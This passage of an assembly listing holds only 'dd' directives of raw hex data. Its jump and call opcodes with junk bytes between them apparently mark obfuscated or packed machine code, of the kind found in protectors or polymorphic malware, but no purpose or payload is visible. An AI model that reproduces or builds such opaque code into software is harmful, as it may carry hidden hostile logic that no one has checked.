		dd 9, 0FBDA57D1h, 0C11501B5h, 0DCB966AFh, 7B3CB98Dh, 13E93DA5h
		dd 0B4000000h, 6C7B49F7h, 0B4AE078Eh, 0E4BECD47h, 4E86B0C0h
		dd 13E8B2A2h, 0E0000000h, 0E388E366h, 2CAE4F0Ah, 0C9A2AF6Bh
		dd 11D1A6C9h, 8B661A57h, 60F95FCEh, 0CA28BF66h,	0AE8h
		dd 0D3450100h, 0F502054Eh, 66777BEAh, 0AA7FE681h, 0E9606159h
		dd 6, 8B3CBFDh,	13E88D80h, 3000000h, 12A73089h,	0F734DFE8h
		dd 310934C9h, 9E7BB38Ch, 615E6C5Eh, 0B70F37B6h,	5607B9D3h
		dd 7E967B4h, 0B4000000h, 73D81CABh, 0F9F8FC8Eh,	3267B866h
		dd 75BEFA8Ah, 0E93169D2h, 9, 66975E2Bh,	821518F8h, 52CA8033h
		dd 0FE853h, 65190000h, 9A8B2D48h, 867350B0h, 0F877345Fh
		dd 58616093h, 96BF6659h, 0CF8B66E6h, 81F0B70Fh,	47CB22C2h
		dd 118F0F1Fh, 0E9000000h, 0Ch, 1C94F107h, 0D40BA653h, 0CE572551h
		dd 0C1E1DE81h, 0D38B733Ah, 0AF19EB81h, 0B8667E98h, 0BE9437Ch
		dd 29000000h, 0AC62D0F0h, 415853AEh, 8166364Bh,	0FC78B5D7h
		dd 0FD8B70Fh, 388h, 0C78B6600h,	10E9h, 2DFE8F00h, 0D09C22F1h
		dd 0A2061A7Eh, 307B3D7Ah, 0BF665259h, 815ACC4Ah, 0DBA2D7E7h
		dd 0AE922h, 6BAC0000h, 0C3F5F52Fh, 0E5F04414h, 66CA8B66h
		dd 769AF281h, 0E6D08156h, 5F40E9DBh, 48A0Fh, 50570000h
		dd 7E85A5Bh, 0CC000000h, 1E95E5CDh, 13E99322h, 0AD000000h
		dd 39E9B783h, 362AFC8Fh, 65BA1DC7h, 83B334EBh, 0BB5BAF9Dh
		dd 1286F7DBh, 810FCE8Bh, 6, 512CDF81h, 0C8B81E2Ch, 664FD681h
		dd 810963BAh, 0A9B521D9h, 0D4806071h, 9E970h, 26F80000h
		dd 39B8B6Ch, 6144D694h,	11E8h, 94B86300h, 428D9235h, 0ED918514h
		dd 85F8E9E4h, 0BF0F97FDh, 0B86658D7h, 14E89D04h, 8F000000h
		dd 6C173B72h, 2A5C15AAh, 0BB32D416h, 0FC0C9604h, 60FE9AB1h
		dd 8166F98Bh, 6175B7CBh, 0C181665Bh, 816601AAh,	531C3CD7h
		dd 959CC981h, 665F5092h, 0E992C0BFh, 0Ah, 0B61F2027h, 9AC295F1h
		dd 0BF0FFBE1h
		dd 0DE860F7h, 0B5000000h, 6B7BCE50h, 4EAE01ACh,	9454FA3Ah
		dd 5EC88B66h, 0AEE7B960h, 0F7812A6Dh, 0AD37061h, 0B9666161h
		dd 850F6651h, 4, 0B900B866h, 1860Fh, 66F80000h,	0EB8CB81h
		dd 2D8FBBFCh, 0C68B3A19h, 60C7BF0Fh, 2D40BE66h,	2800Fh
		dd 4EB50000h, 2B88BE61h, 830F1C1Bh, 6, 0AC41C281h, 0CF802789h
		dd 0CEB70FFBh, 0F9D8B70Fh, 5E9h, 75608C00h, 6E99E7Fh, 4F000000h
		dd 4B9B533Fh, 8B605290h, 0BF5B61D8h, 5311BDB3h,	34CE8166h
		dd 0DF8B66B8h, 0C980DF8Bh, 0B8CA81A0h, 0BA4B4A06h, 305AEC0Eh
		dd 2830Fh, 0E7B70000h, 0EE8h, 0CBABC100h, 3E299CD1h, 83C3CA59h
		dd 520B6EEDh, 1210BF66h, 9E95B5Fh, 9F000000h, 34A2F06Bh
		dd 0C58649A8h, 0EE8BC081h, 0EE97FAEh, 6000000h,	68AF9117h
		dd 21AF0083h, 0EB95E0C3h, 5DE681C4h, 605CE838h,	0AE9h
		dd 9ABF6200h, 3CFEBCBCh, 616C7171h, 0DE9h, 122A0000h, 0E55827EDh
		dd 84A84972h, 0BF0F70DFh, 0AE9FFh, 910A0000h, 0C88B4B24h
		dd 0E2C35B52h, 0B9665060h, 665BBD0Eh, 0E961D88Bh, 0Fh
		dd 6E3A9AB5h, 0A3DFED5Ah, 0A666FD3Ah, 563D8F60h, 0E958F08Bh
		dd 11h,	1C09A99Eh, 11E6A0B6h, 8575461Eh, 0A8383968h, 665356EDh
		dd 5E59DF8Bh, 0FE9h, 6FD6C100h,	53E3D4Fh, 0BBF630B2h, 9BCEB098h
		dd 48C7E9BBh, 10E857h, 0CBA50000h, 0C245B67Bh, 0DC0282EAh
		dd 0D953E55Bh, 59F89847h, 12E9h, 6FDC5600h, 3D476475h
		dd 49196666h, 58374305h, 0F5101395h, 48B0Fh, 0B9660000h
		dd 5A523241h, 66C9B70Fh, 8191C7BBh, 981FEAE3h, 0EE96045h
		dd 62000000h, 7E49300Bh, 88FB2F51h, 1C73A60Bh, 61A3B000h
		dd 0FC4CBA66h, 0C981AAB5h, 30FAAFCFh, 56EBB6F8h, 0DF815AF9h
		dd 75590AF7h, 38D0Fh, 8B660000h, 0BE8FAh, 8A580000h, 660EFB65h
		dd 3029331h, 10E8EDh, 0C2420000h, 0B4CD35D1h, 6B80B6BCh
		dd 84DEA8B3h, 0EE9B845h, 2D000000h, 0B237442h, 3B33FA33h
		dd 0BFE2ACF6h, 6059581Ah, 0C38B61F9h, 0FF9BF0Fh, 0C84h
		dd 5E800h, 7E5E0000h, 0FC951D98h, 0F1BF0F5Ah, 0FC75BE66h
		dd 8E8h, 4DF49300h, 0DE68444Ch,	5B5350C4h, 0BB15F5Eh, 708CBA66h
		dd 5E8h, 0BAA70800h, 79BF6F27h,	5E0BCA11h, 66F98B66h, 45B6D281h
		dd 8E951h, 0B01E0000h, 9163B314h, 665EC4A3h, 1199F181h
		dd 0A12DC081h, 0CF8A3C67h, 5E9EC8Ah, 66000000h,	8ACE7103h
		dd 0F0D28160h, 667B22B2h, 0C185CA81h, 0E8DE8061h, 0DF8B32B2h
		dd 0B8DBB70Fh, 78CD902Bh, 0E8CA8B66h, 14h, 9F05DD2Eh, 92163012h
		dd 0C2979A10h, 0DFA00514h, 0E762B7Ch, 0EE8h, 9ADA1400h
		dd 0B6350049h, 94B748CFh, 0F184A0Ah, 86h, 815A5B00h, 96B407C7h
		dd 1F48050h, 8E9h, 0CE2B3400h, 59D06D1Ch, 0C08157E4h, 20C89DE4h
		dd 0CEB6BB58h, 8D0F7499h, 1Ah, 12E8h, 0FFAD0200h, 0D81B6857h
		dd 5D1F0DA8h, 0DCCB883Bh, 0B51D41B2h, 0E1815AD2h, 0F078661h
		dd 8E9h, 2B4D6D00h, 6D4DA721h, 9E9D7h, 0DD600000h, 26A0F657h
		dd 8BB464C4h, 12E8F9h, 0F2F10000h, 0EC499EACh, 939B3B46h
		dd 1250E9ACh, 0B60C2ABh, 59F18B66h, 0C28B60F5h,	12800F61h
		dd 0E9000000h, 0Dh, 71AA30D6h, 873EAF77h, 807C064Ch, 2890FF1h
		dd 8B000000h, 58F0FC2h,	66000000h, 0C804D681h, 0EC8A6060h
		dd 82D98166h, 8B616171h, 43BE66FBh, 0C9816664h,	8F0F7FD8h
		dd 6, 3BFBC081h, 0B8665A0Ch, 0BE9F308h,	43000000h, 6892DE0Eh
		dd 1C77B88Ch, 0FE97EE4h, 47000000h, 0F8AD4563h,	0ED632F89h
		dd 24983F4Eh, 0E8F984A0h, 13h, 74DA96EAh, 0A37636BBh, 0B6CA6AC3h
		dd 780D2376h, 0F8257737h, 37B9505Bh, 5B515EF0h,	0FE8h
		dd 0B5B91C00h, 13FA1377h, 65CBCFCFh, 54D9AE12h,	5FF2BF0Fh
		dd 0EE9h, 1E9D4000h, 0B59998BAh, 6F4C1E57h, 818E7FE5h
		dd 61C06EF6h, 4FCF810Eh, 800EDED6h, 0F7B3C3D3h,	0FE9h
		dd 2CB08600h, 0AFACB985h, 0B4D3CB5Dh, 0D1DAB56Ah, 0C38B6650h
		dd 0BF0F5358h, 66F85AD1h, 8A8C74BAh, 3860FF7h, 66000000h
		dd 3BB4D68Bh, 10830Fh, 0BE90000h, 0CD000000h, 0CB314EE7h
		dd 93D83C17h, 0BF0F6CFBh, 0C0BF0FDBh, 0F9D0BF0Fh, 18D0Fh
		dd 0FF50000h, 488h, 7EBF6600h, 0F957BBD4h, 0CB8B1195h
		dd 0DABBB866h, 0D98B6657h, 11E858h, 0BC20000h, 0FF5F37D0h
		dd 0F2AE769h, 0FC695236h, 803CD67Ch, 6659B4C9h,	0F10FDB9h
		dd 88h,	30F68100h, 664009CEh, 0E8ECD781h, 5860Fh, 12BB0000h
		dd 8115C33Eh, 0A3B6BCE7h, 9E907h, 0F5AF0000h, 0EC68F275h
		dd 0B963CF57h, 3DACE164h, 0C9813AB5h, 3AADA2B5h, 8A45B866h
		dd 9DB0C18Ah, 10E8h, 0CEDD8100h, 91F8E51Eh, 26D2BFEAh
		dd 0C3E38FE6h, 14E92Ah,	0BAAD0000h, 8FD57D95h, 0A6D3BD58h
		dd 987BA58Bh, 3ED2A770h, 0BB5A0F4Ch, 675EC234h,	6830Fh
		dd 0E7810000h, 7B62639Bh, 3890Fh, 8B660000h, 88C0FCEh
		dd 52000000h, 8E0Fh, 0FC5F0000h, 0FE9h,	1E336F00h, 0DB770D70h
		dd 0CFE12627h, 980036CDh, 14E8h, 0DE211000h, 0D7AF8643h
		dd 20A487A6h, 0F69365F2h, 905406F4h, 0F5FFC7Fh,	1289h
		dd 0DE900h, 6B8E0000h, 0CDCCF251h, 221E95E5h, 50B50593h
		dd 0DE960h, 27980000h, 7CD12B9Dh, 0D96D8755h, 0E906EC09h
		dd 7, 0E19ED492h, 6118B8D7h, 95B25758h,	9BF605Eh, 81394F25h
		dd 81F2A1E1h, 0BF0F6113h, 8E0FFEh, 0FC000000h, 0CE9h, 0E278E200h
		dd 89C5FDD3h, 0FE304A12h, 0BF0F6048h, 8E852FBh,	0DD000000h
		dd 122A0018h, 5E5827EDh, 5060615Ah, 605F29B3h, 11E9h, 0ECDF5000h
		dd 25AEA67Ch, 0AEA9BD3Eh, 0C275166h, 616184BFh,	5C2CCB81h
		dd 12E8646Ah, 1000000h,	13672F8Dh, 766D12AAh, 96A46D08h
		dd 0BFDEE5ECh, 0B2DA8026h, 22830F5Fh, 60000000h, 0FE9h
		dd 0AA188700h, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 7E9h
		dd 90164E00h, 0C7E8AA01h, 0CE961h, 2F7D0000h, 91BEF017h
		dd 9AFA68F0h, 8A0F7469h, 19h, 13840Fh, 0EE90000h, 85000000h
		dd 4AEADA84h, 4E443A78h, 454D8FF0h, 8BD8B217h, 0B0B966D0h
		dd 0C081668Fh, 8166713Bh, 81EB3EC8h, 497FF4C1h,	14E914h
		dd 51E90000h, 60F58060h, 0FFDEA504h, 0E4A9035Eh, 0E9AEE235h
		dd 8E920D2h, 13000000h,	0DC483E36h, 666E6199h, 8166D88Bh
		dd 0E8DA26F7h, 0Dh, 0B6E04E34h,	9F0C074Ch, 78A008D3h, 48C181D0h
		dd 5915192Ch, 0FE9h, 27BB3300h,	0EBB3FC46h, 0FD301F4Ah
		dd 626FD3D4h, 0C1B7CAB6h, 6634DA80h, 0F24B1B9h,	1585h
		dd 0F810F00h, 0E8000000h, 9, 29CEEE68h,	7B9010C8h, 0F7BF5A85h
		dd 664BA5BFh, 0F60F18Bh, 58Ch, 7CEFB800h, 606050C1h, 0DBBF0F61h
		dd 14E86161h, 0B9000000h, 0C63281A6h, 318942C0h, 4675E10Ch
		dd 0CD39C7D2h, 60A7C270h, 60D5D180h, 605B6161h,	61D6B70Fh
		dd 1290BF66h, 81F38B66h, 0A08758F0h, 0A44EBB04h, 81660C10h
		dd 0E806E6E8h, 0Ch, 0DD14DA36h,	30C8C9E3h, 98A4BFECh, 0FFBE6651h
		dd 0B35E5EE6h, 0D78B6602h, 7AD28166h, 13F78187h, 8011DF31h
		dd 8E907C4h, 51000000h,	0B06021BAh, 66673366h
		dd 68CC281h, 8BCE8B66h,	0C08156C6h, 118C0E8Ch, 0F0B70F59h
		dd 0BE6650F5h, 81596162h, 8A6A8BC1h, 4C90BA3Eh,	81FC03B8h
		dd 0F08D04E0h, 0E9F18B38h, 11h,	0F93C4667h, 0BA0E072Eh
		dd 3EB4B7E8h, 52D0003Eh, 0D38166B3h, 58526E1Ah,	0D681D78Bh
		dd 6B5EB8B6h, 6612E080h, 81FCB7BEh, 0AA84C3C9h,	6BF0B957h
		dd 0F081564Ch, 11CB7450h, 85FA84BFh, 10E97Ch, 43920000h
		dd 1E385FDAh, 34356E2Fh, 5FEB0615h, 8160B803h, 977351CAh
		dd 8C0F6019h, 0
		dd 61F8B70Fh, 66C88B61h, 0E433F081h, 8C0Fh, 9E80000h, 0D5000000h
		dd 0AC557BC0h, 1D8F40CBh, 612CB460h, 58F0F5Fh, 0BA000000h
		dd 23D25375h, 0AE8F28Bh, 8C000000h, 566057E7h, 93286029h
		dd 79E9814Bh, 5854AEABh, 58A0Fh, 81660000h, 8046CEEFh
		dd 8B6690C0h, 0B70FF9DEh, 4800FFAh, 66000000h, 6689C1BFh
		dd 2EFDCB81h, 8B0FF9h, 0B7000000h, 0BAB3BE21h, 0CF8A42ADh
		dd 3522BE53h, 805B4E13h, 0BF0FA1C5h, 0BE9C2h, 902B0000h
		dd 48D0B60Ch, 882EA02Eh, 8BD28144h, 0E92516C4h,	12h, 8D73EDA6h
		dd 9FE2CC79h, 0EB684769h, 88D5BCA9h, 0E8566CD5h, 10h, 7303488Bh
		dd 4843484Bh, 5224122Bh, 95528ABFh, 844817BEh, 0E95B5B55h
		dd 0Dh,	0F2656B52h, 619444F8h, 0A4DBA623h, 11E934h, 55AA0000h
		dd 0CAD91C5h, 0B7A0AD3Dh, 0B01C437Ch, 665DCC62h, 0F371DBAh
		dd 10E9F1BFh, 0AA000000h, 249DF6CAh, 828A8F17h,	35377662h
		dd 6089FED3h, 11E9h, 3D461600h,	5A0A04AFh, 85849E81h, 14B39781h
		dd 8166EA34h, 6183FDE8h, 28D0Fh, 0E78A0000h, 0AE9EA8Ah
		dd 6F000000h, 0F6286D44h, 0F73543A3h, 0F5F98BE0h, 0BE9h
		dd 62194100h, 0F6CAAA1Bh, 8F17249Dh, 0F5EF556h,	1885h
		dd 13E900h, 0B6390000h,	0B5C75E1Bh, 74571BB5h, 2B4A4F66h
		dd 36FA0C14h, 2880F97h,	0B2000000h, 13E9B2h, 8E4D0000h
		dd 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0D78C9503h, 0D981663Dh
		dd 0FF54BCFh, 85h, 12E800h, 9E170000h, 0F27B4742h, 37036C3Eh
		dd 0E67CAC98h, 9CA1BC35h, 11800Fh, 0CE90000h, 8C000000h
		dd 1722D79h, 148F4134h,	5A27D830h, 58575153h, 0F0BE5859h
		dd 0BF59C41Fh, 5F5204F4h, 26840Fh, 0E9600000h, 0Ch, 977E97A6h
		dd 0B7C58B86h, 0DF66048Bh, 0EE9h, 8F1E9800h, 3E6A6F0Bh
		dd 9E806394h, 61509EF5h, 48A0Fh, 51600000h, 0BF0F615Fh
		dd 0C9B70FCBh, 59F08B52h, 58D0Fh, 79BA0000h, 0F5DF373h
		dd 0DE9C7B7h, 43000000h, 4F69D768h, 0B9DB2197h,	95D9612Ah
		dd 7AB4D78Bh, 0D981CA8Bh, 7A3B6654h, 0D8B0Fh, 0F600000h
		dd 88h,	0CA816600h, 6661B086h, 0E912CBBEh, 7, 3070AB38h
		dd 0B89E2BA4h, 27487EA7h, 14E8h, 10F0B00h, 0E17498AFh
		dd 5F9B774Dh, 0F8176773h, 0E3B63133h, 0FFB70F18h, 0BBCE8B59h
		dd 4E2EF4EEh, 0BE9h, 0C6653700h, 0DCB85B71h, 8393A0E9h
		dd 12E9h, 0DE5F1000h, 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 5732ECD5h
		dd 0DEDF90B8h, 66F55848h, 0D9C5EF81h, 0AEFC781h, 36BB4D78h
		dd 606EFA1Ah, 0E197BBBBh, 11E916h, 0B3750000h, 0AC4A06F2h
		dd 425ECD6h, 2189D248h,	61A0B295h, 0CDCF01BAh, 3860F66h
		dd 0F000000h, 0D18BC6B7h, 0F1BDA80h, 58Eh, 0F2816600h
		dd 11E9C2EAh, 15000000h, 0FE74EFDEh, 0B2F629A4h, 33346BC3h
		dd 0D95CD2CDh, 17E78166h, 93BB6694h, 28B0FD9h, 8B000000h
		dd 4D981D9h, 57610617h,	0E2F749BAh, 83BF5E71h, 0F31B939h
		dd 684h, 9EC28100h, 0F90C2BCBh,	840F6057h, 0
		dd 4BCB8166h, 0F5F61A9h, 68Bh, 0B0DA8100h, 0E9554449h
		dd 0Fh,	0A66ECE6Dh, 0DE39E678h,	44EFEEABh, 60C619EDh, 6EE18166h
		dd 2860FE5h, 50000000h,	8B666158h, 0D48AF5CBh, 23DB8166h
		dd 5CE68139h, 0E826E886h, 10h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah
		dd 1F990281h, 0CA8B505Ah, 0E9C68B5Ah, 13h, 0AA22FFD2h
		dd 6215780Bh, 0BCBC9ABFh, 71713CFEh, 8A5F3C6Ch,	8BD681FCh
		dd 0F2863D8h, 18Dh, 0CF8BF500h,	6A9B966h, 0EAD0C781h, 800F3E58h
		dd 2, 13E9EB8Ah, 84000000h, 0BF1954B5h,	496875CBh, 7FAFBE46h
		dd 0C69E7368h, 6660F1A4h, 8161F18Bh, 96D29AE2h,	58D0F27h
		dd 0BA000000h, 2AFB1C4Ch, 60C18B66h, 14E8h, 0E2F43200h
		dd 0FD4DB7F7h, 89226C6Fh, 0F224B2D1h, 0BCBA7AA1h, 0E95FFC5Ch
		dd 0Ah,	0B987E1EEh, 0BF82E93Eh,	8B61E7FAh, 0EE9CAh, 0FE700000h
		dd 64FE3488h, 8094C556h, 0C1860D99h, 7DF3EB81h,	7E836F5h
		dd 4F000000h, 3D731DD6h, 0E4B41DFAh, 45E1BF5Bh,	0CBB6B3Fh
		dd 8B023A96h, 0E8DA8BDFh, 0Bh, 0AD7FDA63h, 85D5D31Ah, 0F9A2E588h
		dd 0F18B6659h, 5810Fh, 81660000h, 6641EEE0h, 0CE8AF08Bh
		dd 0BBD18166h, 8192B3CDh, 3A06EAF7h, 8B66F950h,	10E9DFh
		dd 19250000h, 0BBD8540Eh, 1C09B2Ah, 0EE3A1A7Ah,	810FF508h
		dd 4, 9DEEB866h, 1BC28166h, 6BF7BAA9h, 0CAB6102Fh, 8166F08Bh
		dd 0E94EA4C3h, 12h, 0D042B154h,	0EC5F064h, 7FCE0C48h, 0C292A31h
		dd 8B66DEF9h, 0FE8D9h, 0CE620000h, 9174EF5h, 0A39BEB62h
		dd 0DFB23A56h, 0DFBF0F9Eh, 6800F5Ah, 81000000h,	5478B7EBh
		dd 8BE38A70h, 9E9C6h, 8B9F0000h, 0A42CA1ACh, 81100337h
		dd 0B3378DD7h, 0BF664Dh, 0D9EB8170h, 0F954C48Ch, 0F094E981h
		dd 0FA8A2E71h, 12E9h, 66565700h, 2C8E2309h, 4061F34Bh
		dd 0B59FDEC5h, 816AC7FDh, 4E71F3F3h, 6DD08161h,	8B3DD3CCh
		dd 0E9F560F0h, 13h, 8E3E84D9h, 4EDC27E1h, 7CA5B258h, 92055E29h
		dd 617E3C7Dh, 5840Fh, 81660000h, 0BEBF03F3h, 4903AE4Bh
		dd 0DF91BB66h, 20807CBAh, 0BF0FF83Eh, 816660C0h, 0E8E7D0F0h
		dd 12h,	0F64A5071h, 0BE71531Dh,	0B9959EA0h, 0CAD1719Ch
		dd 5F5016CBh, 0CE9615Eh, 0A8000000h, 0BB5C5462h, 1EF51E9Eh
		dd 669A2E82h, 8C0FC68Bh, 2, 8157C28Bh, 0CB3453CAh, 0BE85E40h
		dd 79000000h, 92D895A7h, 3D9BCD52h, 815F9612h, 92DC87E6h
		dd 14E91Fh, 72180000h, 4CCB185Eh, 0FF8FB20Ah, 12E4BD9h
		dd 0F7E65ED8h, 0BF0FF65Bh, 0FE38ADFh, 387h, 0D98B6600h
		dd 5F7BB653h, 0BCC08166h, 0C3BF0F8Fh, 0BEBEEE80h, 3BCA71A8h
		dd 94BE6652h, 0F605879h, 148Ch,	0FE900h, 7AD0000h, 1FE54F87h
		dd 928F2FE5h, 1DECAE0Fh, 0FE96141h, 0CD000000h,	0B7E69E93h
		dd 4C287372h, 20E9FD1h,	12E973F0h, 0F000000h, 88655983h
		dd 430456C5h, 0FA729CA4h, 0F9DB615Ch, 0DE943h, 37C90000h
		dd 2D576A0Eh, 6CD95650h, 0B887CEE4h, 2E04EA21h,	0F88B6660h
		dd 2FBE6661h, 82E080E4h, 0F5CF8B66h, 0B4B86657h, 800F5ECFh
		dd 0
		dd 0BE9h, 0D9489100h, 585ACBDEh, 0A1C9D9Eh, 0CE952h, 0BC320000h
		dd 104C3994h, 260B08F4h, 66580E8Dh, 0A873F781h,	67CE8160h
		dd 614D6CB8h, 0A31E7ABBh, 0F88B6654h, 0A2D18166h, 0C8816617h
		dd 0EC8A658Ah, 2860Fh, 0F38A0000h, 3880Fh, 0EC800000h
		dd 0E9C6B71Eh, 0Bh, 0F92971A4h,	0FBE9F991h, 66A3BEF2h
		dd 2667E681h, 68D0Fh, 860F0000h, 0
		dd 0FCF8DF81h, 840F7A1Eh, 3, 0F8F18B66h, 3DD98166h, 0DE8B5h
		dd 71470000h, 86E19FEAh, 0A5F8092Dh, 0BBB347CAh, 36C1EFF3h
		dd 0CF8B6659h, 14E9h, 0DB116D00h, 0CA29B0C9h, 17B559B3h
		dd 95A95276h, 0A6809BEAh, 0F18B666Ah, 12E9h, 486B7700h
		dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 66B20D0Dh, 9E1FD081h
		dd 0DE8h, 334AA700h, 6046A30Bh,	169F296Fh, 0BF0FBA77h
		dd 8B665FD9h, 65BB66FEh, 11D78165h, 0E91D8984h,	0Dh, 0AC387D76h
		dd 309A0B1Ch, 7FB0CFAEh, 8E9A3h, 0ACD30000h, 32FDEE29h
		dd 0BE9AC2Ah, 56000000h, 70B07A77h, 80F9C0Fh, 0E781AF5Ch
		dd 13355404h, 0CA8AFBB6h, 0DF1041B9h, 1C860F5Eh, 0F000000h
		dd 1688h, 11E900h, 1A0B0000h, 0AD510C01h, 0B03FF6CCh, 0A3AC0D8Fh
		dd 817F58F1h, 0F14A1AEBh, 53F5B560h, 48C0Fh, 0BB660000h
		dd 0F5FE000h, 383h, 0FEB70F00h,	2100B866h, 43E27CBFh, 0C2B70F34h
		dd 0DA8160F5h, 6062CB5h, 0F61D98Bh, 0C881D2BFh,	62874F7h
		dd 6E9h, 0E31D8600h, 0E9A5D089h, 0Ch, 0AD8528E2h, 49F27C38h
		dd 2ED5B228h, 3DAEE981h, 0CBB16D6Ch, 25AAF681h,	820F23D5h
		dd 0Ch,	6860Fh,	0E3810000h, 4583C040h, 0E8E3E081h, 0E88023EAh
		dd 0D480516Eh, 0AFB75AE4h, 7E8h, 723B6F00h, 576B54CFh
		dd 0F5AC4B5h, 178Ch, 12E900h, 7F40000h,	0AA97124h, 0FAF5924Dh
		dd 42792B65h, 35CAE3C8h, 0E8D98B66h, 11h, 7174A859h, 4EBC2C99h
		dd 4AC0FE78h, 3FC0F946h, 74EF811Ah, 5B236914h, 0FF9B70Fh
		dd 0CB8BD1B7h, 0E9FCDA8Bh, 14h,	8E5BEF0Bh, 0FA819EF4h
		dd 0F933A049h, 3520DD2Bh, 0D6A6F456h, 0DE8h, 5C244400h
		dd 0A29ACDEBh, 38D97A06h, 8166D9C8h, 59DC13E9h,	77735ABEh
		dd 5E932h, 77080000h, 66D20A6Ch, 0DDB9CA8Bh, 8B7E2696h
		dd 0AE952C8h, 0A000000h, 1CA90BE1h, 0F4D7CD56h,	66565A31h
		dd 58C51EB9h, 0D178E081h, 880F1401h, 3,	6658F952h, 0E037C781h
		dd 0AE850h, 92D80000h, 3D9BCD52h, 90929612h, 605B59F5h
		dd 10E9CA8Bh, 79000000h, 91DAF572h, 0F6D18554h,	0E06BAF6Ah
		dd 6183F32Dh, 0F00C180h, 8Eh, 6AC28000h, 6660CB8Ah, 5E8F98Bh
		dd 9C000000h, 1B97B99Eh, 0F55793BBh, 53615804h,	7786B966h
		dd 0BFB4575Ah, 8A0F5Ah,	66000000h, 50C3F6B8h, 5E9h, 18239300h
		dd 6659D156h, 0F60D38Bh, 0BB66DEB7h, 0E9612F2Dh, 0Bh, 0E740B3A3h
		dd 3633870Bh, 80C8539Eh, 816639DDh, 0F0B1ACAh, 387h, 0C9BF0F00h
		dd 0EDF08166h, 10E931h,	0B75E0000h, 0D04B5BDAh,	0C0A895F7h
		dd 31AEFA54h, 5353D52Bh, 59F3BF0Fh, 7E85Bh, 3BAA0000h
		dd 0BB1A852Fh, 0F078BF6Ch, 0F5A35EAh, 38Ah, 0F08B6600h
		dd 3DED4BAh, 0FF08B16h,	0F8Ah, 0AE900h,	0FFDE0000h, 0E4A9035Eh
		dd 0E9AEE235h, 8B66CE8Bh, 97C781F3h, 815950F5h,	654FC4C1h
		dd 2FBE6633h, 0CA816634h, 0BF0F4295h, 0F78B66C3h, 81C18B66h
		dd 0CF0E01EAh, 9DB2FC2Dh, 0FEA7B966h, 51CABF0Fh, 0FBB70F5Fh
		dd 0FE9h, 7764A500h, 22024028h,	0F24E564Fh, 11C5D593h
		dd 0B5CE80FCh, 0E9FB8B66h, 0Bh,	6A497420h, 4C715108h, 0E98FDDC8h
		dd 8, 405D2238h, 126661E1h, 0A6DE8166h,	0FE68A78h, 0DE9F8BFh
		dd 3000000h, 0BB96AD83h, 0B8182578h, 0B9943CF3h, 0DE8B66FCh
		dd 11E8h, 641ED00h, 1406B45Fh, 0A922CC39h, 0A13BD485h
		dd 0BB66F0E1h, 605E139Dh, 0F61F8F9h, 6BB7C6BFh,	9E9DBB3h
		dd 28000000h, 7BA7EFC7h, 50D51412h, 1820Fh, 0E9F90000h
		dd 0Ah,	1800B63Ch, 0D129D9CDh, 0BF0F4A52h, 8E9CFh, 83020000h
		dd 3B8D55A2h, 8B669958h, 0CE9C7h, 896D0000h, 0F9C52D0Ah
		dd 0B182B305h, 0F60CBA0h, 0DDB0FABFh, 6E95061h,	0F3000000h
		dd 7B983C57h, 0BB665BCDh, 13E8B2ECh, 0D3000000h, 0D91E5A79h
		dd 8E0542A4h, 11551EFEh, 8669AC13h, 816690E5h, 5AE12CDBh
		dd 0FA13F281h, 8B666A7Fh, 2820FD7h, 8B000000h, 0D68B66C6h
		dd 0F887B866h, 816602B6h, 81D73EE6h, 0E436E1C0h, 11E942h
		dd 0B3C70000h, 0EE2793C4h, 0D44CBDB3h, 4D732D60h, 50E5DA61h
		dd 0C9815FFCh, 6F2F0BC0h, 50F6B70Fh, 8828BA66h,	14E9535Fh
		dd 37000000h, 0A05F5204h, 7E057269h, 57657EF5h,	0A244A0Eh
		dd 5EA6D57Ah, 0F780C2B2h, 810F80h, 0F000000h, 0C85h, 6820F00h
		dd 0F000000h, 8Dh, 66D68B00h, 21CCE81h,	0E830Fh, 8E80000h
		dd 24000000h, 0B58A086Dh, 580225FAh, 2DB96653h,	0BF0F5872h
		dd 0FE8B66F0h, 6EDD8056h, 0A99ABE58h, 66571278h, 0CAD1E181h
		dd 0BB66525Eh, 0F59F206h, 0D680D8BFh, 3890FD4h,	80000000h
		dd 8160CFE3h, 29CFB3C7h, 76CB8114h, 61527B9Dh, 0FBEA8166h
		dd 0B860F73h, 0F000000h, 58Dh, 0C868BA00h, 0B70F7991h
		dd 0B70F60C2h, 61C78ACBh, 4860F60h, 66000000h, 66E1D4B9h
		dd 612608BAh, 0CE8h, 24A94300h,	0BAE51063h, 43E30F1Dh
		dd 5856B5F5h, 0D1DCD3BEh, 5BE6657h, 0D68B6694h,	48EB8160h
		dd 665C4C96h, 443ED081h, 0C6C68161h, 8B614508h,	5E8F1h
		dd 4590000h, 0E87F148Ch, 12h, 0E23AA650h, 4035928Dh, 45DDEE49h
		dd 58FA36E7h, 0C2BA49BEh, 5A626F96h, 8AF98B59h,	0BE9C3h
		dd 0E8BC0000h, 0EB093ED9h, 75EAA7F8h, 9830F71h,	60000000h
		dd 43332FBFh, 61C18B2Dh, 8166F28Bh, 608CA3CBh, 0EC30CEBFh
		dd 0F081664Eh, 0E9612A6Dh, 12h,	83364E52h, 7CE64F6h, 686C9D6Eh
		dd 0B75CB0D6h, 5F522C98h, 19830Fh, 14E90000h, 2B000000h
		dd 4766FC6Bh, 9DE1649Fh, 5410A75h, 85156D0Bh, 0F471CC8h
		dd 58Bh, 111DBB00h, 0B70F11B8h,	2810FD2h, 8B000000h, 10E8D1h
		dd 0E0980000h, 53BB810h, 0D02EB8ADh, 751202D0h,	0F28056A9h
		dd 5E85F19h, 0FA000000h, 8C5A9722h, 0EE8h, 28342200h, 12EF0C77h
		dd 0BF357B60h, 66EA1D77h, 0E851CE81h, 0B70F5B5Ah, 0CE9F7h
		dd 88170000h, 1083F807h, 1AF36EC5h, 0B70F98D9h,	0BFBA66F9h
		dd 0A0CB814Dh, 0E939AABFh, 0Ch,	6D4AA1A2h, 0FDE2CA1Eh
		dd 0CEB1289Eh, 0CFA4D281h, 820F6127h, 3, 0E9CF8B66h, 5
		dd 898A24CAh, 58D0F89h,	66000000h, 88DCEB81h, 60F8B70Fh
		dd 0FA8B6660h, 66606161h, 0B70FF08Bh, 0BE861F9h, 84000000h
		dd 0D044748Dh, 9C7216h,	8D0F538Eh, 6, 8F0Fh, 0B45E0000h
		dd 66BEB7FEh, 8A4F15BBh, 9E9E7h, 7D5B0000h, 0ED3A33CBh
